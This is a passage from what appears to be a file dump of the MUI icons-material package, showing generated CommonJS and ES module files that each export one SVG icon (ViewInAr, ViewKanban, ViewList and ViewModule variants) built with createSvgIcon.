    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 4c0-.55.45-1 1-1h2V1H4C2.34 1 1 2.34 1 4v2h2zm0 16v-2H1v2c0 1.66 1.34 3 3 3h2v-2H4c-.55 0-1-.45-1-1M20 1h-2v2h2c.55 0 1 .45 1 1v2h2V4c0-1.66-1.34-3-3-3m1 19c0 .55-.45 1-1 1h-2v2h2c1.66 0 3-1.34 3-3v-2h-2zm-2-5.13V9.13c0-.72-.38-1.38-1-1.73l-5-2.88c-.31-.18-.65-.27-1-.27s-.69.09-1 .27L6 7.39c-.62.36-1 1.02-1 1.74v5.74c0 .72.38 1.38 1 1.73l5 2.88c.31.18.65.27 1 .27s.69-.09 1-.27l5-2.88c.62-.35 1-1.01 1-1.73m-8 2.3-4-2.3v-4.63l4 2.33zm1-6.33L8.04 8.53 12 6.25l3.96 2.28zm5 4.03-4 2.3v-4.6l4-2.33z\"\n}), 'ViewInArOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewInArRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 6c.55 0 1-.45 1-1V4c0-.55.45-1 1-1h1c.55 0 1-.45 1-1s-.45-1-1-1H4C2.34 1 1 2.34 1 4v1c0 .55.45 1 1 1m3 15H4c-.55 0-1-.45-1-1v-1c0-.55-.45-1-1-1s-1 .45-1 1v1c0 1.66 1.34 3 3 3h1c.55 0 1-.45 1-1s-.45-1-1-1M20 1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1c.55 0 1 .45 1 1v1c0 .55.45 1 1 1s1-.45 1-1V4c0-1.66-1.34-3-3-3m2 17c-.55 0-1 .45-1 1v1c0 .55-.45 1-1 1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1c1.66 0 3-1.34 3-3v-1c0-.55-.45-1-1-1m-3-3.13V9.13c0-.72-.38-1.38-1-1.73l-5-2.88c-.31-.18-.65-.27-1-.27s-.69.09-1 .27L6 7.39c-.62.36-1 1.02-1 1.74v5.74c0 .72.38 1.38 1 1.73l5 2.88c.31.18.65.27 1 .27s.69-.09 1-.27l5-2.88c.62-.35 1-1.01 1-1.73m-8 2.3-4-2.3v-4.63l4 2.33zm1-6.33L8.04 8.53 12 6.25l3.96 2.28zm5 4.03-4 2.3v-4.6l4-2.33z\"\n}), 'ViewInArRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewInArRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 6c.55 0 1-.45 1-1V4c0-.55.45-1 1-1h1c.55 0 1-.45 1-1s-.45-1-1-1H4C2.34 1 1 2.34 1 4v1c0 .55.45 1 1 1m3 15H4c-.55 0-1-.45-1-1v-1c0-.55-.45-1-1-1s-1 .45-1 1v1c0 1.66 1.34 3 3 3h1c.55 0 1-.45 1-1s-.45-1-1-1M20 1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1c.55 0 1 .45 1 1v1c0 .55.45 1 1 1s1-.45 1-1V4c0-1.66-1.34-3-3-3m2 17c-.55 0-1 .45-1 1v1c0 .55-.45 1-1 1h-1c-.55 0-1 .45-1 1s.45 1 1 1h1c1.66 0 3-1.34 3-3v-1c0-.55-.45-1-1-1m-3-3.13V9.13c0-.72-.38-1.38-1-1.73l-5-2.88c-.31-.18-.65-.27-1-.27s-.69.09-1 .27L6 7.39c-.62.36-1 1.02-1 1.74v5.74c0 .72.38 1.38 1 1.73l5 2.88c.31.18.65.27 1 .27s.69-.09 1-.27l5-2.88c.62-.35 1-1.01 1-1.73m-8 2.3-4-2.3v-4.63l4 2.33zm1-6.33L8.04 8.53 12 6.25l3.96 2.28zm5 4.03-4 2.3v-4.6l4-2.33z\"\n}), 'ViewInArRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewInArSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 1v2h3v3h2V1zm3 20h-3v2h5v-5h-2zM3 3h3V1H1v5h2zm0 15H1v5h5v-2H3zM19 7.97l-7-4.03-7 4.03v8.06l7 4.03 7-4.03zm-8 9.2-4-2.3v-4.63l4 2.33zm1-6.33L8.04 8.53 12 6.25l3.96 2.28zm5 4.03-4 2.3v-4.6l4-2.33z\"\n}), 'ViewInArSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewInArSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 1v2h3v3h2V1zm3 20h-3v2h5v-5h-2zM3 3h3V1H1v5h2zm0 15H1v5h5v-2H3zM19 7.97l-7-4.03-7 4.03v8.06l7 4.03 7-4.03zm-8 9.2-4-2.3v-4.63l4 2.33zm1-6.33L8.04 8.53 12 6.25l3.96 2.28zm5 4.03-4 2.3v-4.6l4-2.33z\"\n}), 'ViewInArSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewInArTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 17.17 4-2.3v-4.63l-4 2.33zM12 6.25 8.04 8.53 12 10.84l3.96-2.31zm-5 8.62 4 2.3v-4.6l-4-2.33z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 4c0-.55.45-1 1-1h2V1H4C2.34 1 1 2.34 1 4v2h2zm0 16v-2H1v2c0 1.66 1.34 3 3 3h2v-2H4c-.55 0-1-.45-1-1M20 1h-2v2h2c.55 0 1 .45 1 1v2h2V4c0-1.66-1.34-3-3-3m1 19c0 .55-.45 1-1 1h-2v2h2c1.66 0 3-1.34 3-3v-2h-2zm-2-5.13V9.13c0-.72-.38-1.38-1-1.73l-5-2.88c-.31-.18-.65-.27-1-.27s-.69.09-1 .27L6 7.39c-.62.36-1 1.02-1 1.74v5.74c0 .72.38 1.38 1 1.73l5 2.88c.31.18.65.27 1 .27s.69-.09 1-.27l5-2.88c.62-.35 1-1.01 1-1.73m-8 2.3-4-2.3v-4.63l4 2.33zm1-6.33L8.04 8.53 12 6.25l3.96 2.28zm5 4.03-4 2.3v-4.6l4-2.33z\"\n}, \"1\")], 'ViewInArTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewInArTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 17.17 4-2.3v-4.63l-4 2.33zM12 6.25 8.04 8.53 12 10.84l3.96-2.31zm-5 8.62 4 2.3v-4.6l-4-2.33z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 4c0-.55.45-1 1-1h2V1H4C2.34 1 1 2.34 1 4v2h2zm0 16v-2H1v2c0 1.66 1.34 3 3 3h2v-2H4c-.55 0-1-.45-1-1M20 1h-2v2h2c.55 0 1 .45 1 1v2h2V4c0-1.66-1.34-3-3-3m1 19c0 .55-.45 1-1 1h-2v2h2c1.66 0 3-1.34 3-3v-2h-2zm-2-5.13V9.13c0-.72-.38-1.38-1-1.73l-5-2.88c-.31-.18-.65-.27-1-.27s-.69.09-1 .27L6 7.39c-.62.36-1 1.02-1 1.74v5.74c0 .72.38 1.38 1 1.73l5 2.88c.31.18.65.27 1 .27s.69-.09 1-.27l5-2.88c.62-.35 1-1.01 1-1.73m-8 2.3-4-2.3v-4.63l4 2.33zm1-6.33L8.04 8.53 12 6.25l3.96 2.28zm5 4.03-4 2.3v-4.6l4-2.33z\"\n}, \"1\")], 'ViewInArTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewKanban.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 17H7V7h2zm4-5h-2V7h2zm4 3h-2V7h2z\"\n}), 'ViewKanban');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewKanban.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M9 17H7V7h2zm4-5h-2V7h2zm4 3h-2V7h2z\"\n}), 'ViewKanban');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewKanbanOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7h2v10H7zm4 0h2v5h-2zm4 0h2v8h-2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\")], 'ViewKanbanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewKanbanOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7h2v10H7zm4 0h2v5h-2zm4 0h2v8h-2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\")], 'ViewKanbanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewKanbanRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8 17c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v8c0 .55-.45 1-1 1m4-5c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m4 3c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1\"\n}), 'ViewKanbanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewKanbanRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M8 17c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v8c0 .55-.45 1-1 1m4-5c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1m4 3c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1\"\n}), 'ViewKanbanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewKanbanSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zM9 17H7V7h2zm4-5h-2V7h2zm4 3h-2V7h2z\"\n}), 'ViewKanbanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewKanbanSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zM9 17H7V7h2zm4-5h-2V7h2zm4 3h-2V7h2z\"\n}), 'ViewKanbanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewKanbanTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zM15 7h2v8h-2zm-4 0h2v5h-2zM7 7h2v10H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7h2v10H7zm4 0h2v5h-2zm4 0h2v8h-2z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"2\")], 'ViewKanbanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewKanbanTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zM15 7h2v8h-2zm-4 0h2v5h-2zM7 7h2v10H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7h2v10H7zm4 0h2v5h-2zm4 0h2v8h-2z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"2\")], 'ViewKanbanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewList.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 14h4v-4H3zm0 5h4v-4H3zM3 9h4V5H3zm5 5h13v-4H8zm0 5h13v-4H8zM8 5v4h13V5z\"\n}), 'ViewList');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewList.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 14h4v-4H3zm0 5h4v-4H3zM3 9h4V5H3zm5 5h13v-4H8zm0 5h13v-4H8zM8 5v4h13V5z\"\n}), 'ViewList');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewListOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14h18V5zm4 2v2H5V7zm-2 6v-2h2v2zm0 2h2v2H5zm14 2H9v-2h10zm0-4H9v-2h10zm0-4H9V7h10z\"\n}), 'ViewListOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewListOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14h18V5zm4 2v2H5V7zm-2 6v-2h2v2zm0 2h2v2H5zm14 2H9v-2h10zm0-4H9v-2h10zm0-4H9V7h10z\"\n}), 'ViewListOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewListRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 14h2c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1m0 5h2c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1M4 9h2c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1m5 5h11c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1m0 5h11c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1M8 6v2c0 .55.45 1 1 1h11c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1\"\n}), 'ViewListRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewListRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 14h2c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1m0 5h2c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1M4 9h2c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1m5 5h11c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1m0 5h11c.55 0 1-.45 1-1v-2c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1v2c0 .55.45 1 1 1M8 6v2c0 .55.45 1 1 1h11c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1H9c-.55 0-1 .45-1 1\"\n}), 'ViewListRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewListSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 14h4v-4H3zm0 5h4v-4H3zM3 9h4V5H3zm5 5h13v-4H8zm0 5h13v-4H8zM8 5v4h13V5z\"\n}), 'ViewListSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewListSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 14h4v-4H3zm0 5h4v-4H3zM3 9h4V5H3zm5 5h13v-4H8zm0 5h13v-4H8zM8 5v4h13V5z\"\n}), 'ViewListSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewListTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7v2H5V7zm-2 6v-2h2v2zm0 2h2v2H5zm14 2H9v-2h10zm0-4H9v-2h10zm0-4H9V7h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14h18V5zm4 2v2H5V7zm-2 6v-2h2v2zm0 2h2v2H5zm14 2H9v-2h10zm0-4H9v-2h10zm0-4H9V7h10z\"\n}, \"1\")], 'ViewListTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewListTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7v2H5V7zm-2 6v-2h2v2zm0 2h2v2H5zm14 2H9v-2h10zm0-4H9v-2h10zm0-4H9V7h10z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14h18V5zm4 2v2H5V7zm-2 6v-2h2v2zm0 2h2v2H5zm14 2H9v-2h10zm0-4H9v-2h10zm0-4H9V7h10z\"\n}, \"1\")], 'ViewListTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewModule.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.67 5v6.5H9.33V5zm1 6.5H21V5h-5.33zm-1 7.5v-6.5H9.33V19zm1-6.5V19H21v-6.5zm-7.34 0H3V19h5.33zm0-1V5H3v6.5z\"\n}), 'ViewModule');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewModule.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.67 5v6.5H9.33V5zm1 6.5H21V5h-5.33zm-1 7.5v-6.5H9.33V19zm1-6.5V19H21v-6.5zm-7.34 0H3V19h5.33zm0-1V5H3v6.5z\"\n}), 'ViewModule');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewModuleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14h18V5zm16 6h-3.33V7H19zm-5.33 0h-3.33V7h3.33zM8.33 7v4H5V7zM5 17v-4h3.33v4zm5.33 0v-4h3.33v4zm5.34 0v-4H19v4z\"\n}), 'ViewModuleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewModuleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14h18V5zm16 6h-3.33V7H19zm-5.33 0h-3.33V7h3.33zM8.33 7v4H5V7zM5 17v-4h3.33v4zm5.33 0v-4h3.33v4zm5.34 0v-4H19v4z\"\n}), 'ViewModuleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewModuleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.67 6v4.5c0 .55-.45 1-1 1h-3.33c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h3.33c.55 0 1 .45 1 1m2 5.5H20c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1h-3.33c-.55 0-1 .45-1 1v4.5c0 .55.44 1 1 1m-2 6.5v-4.5c0-.55-.45-1-1-1h-3.33c-.55 0-1 .45-1 1V18c0 .55.45 1 1 1h3.33c.55 0 1-.45 1-1m1-4.5V18c0 .55.45 1 1 1H20c.55 0 1-.45 1-1v-4.5c0-.55-.45-1-1-1h-3.33c-.56 0-1 .45-1 1m-8.34-1H4c-.55 0-1 .45-1 1V18c0 .55.45 1 1 1h3.33c.55 0 1-.45 1-1v-4.5c0-.55-.44-1-1-1m1-2V6c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v4.5c0 .55.45 1 1 1h3.33c.56 0 1-.45 1-1\"\n}), 'ViewModuleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewModuleRounded.mjs",
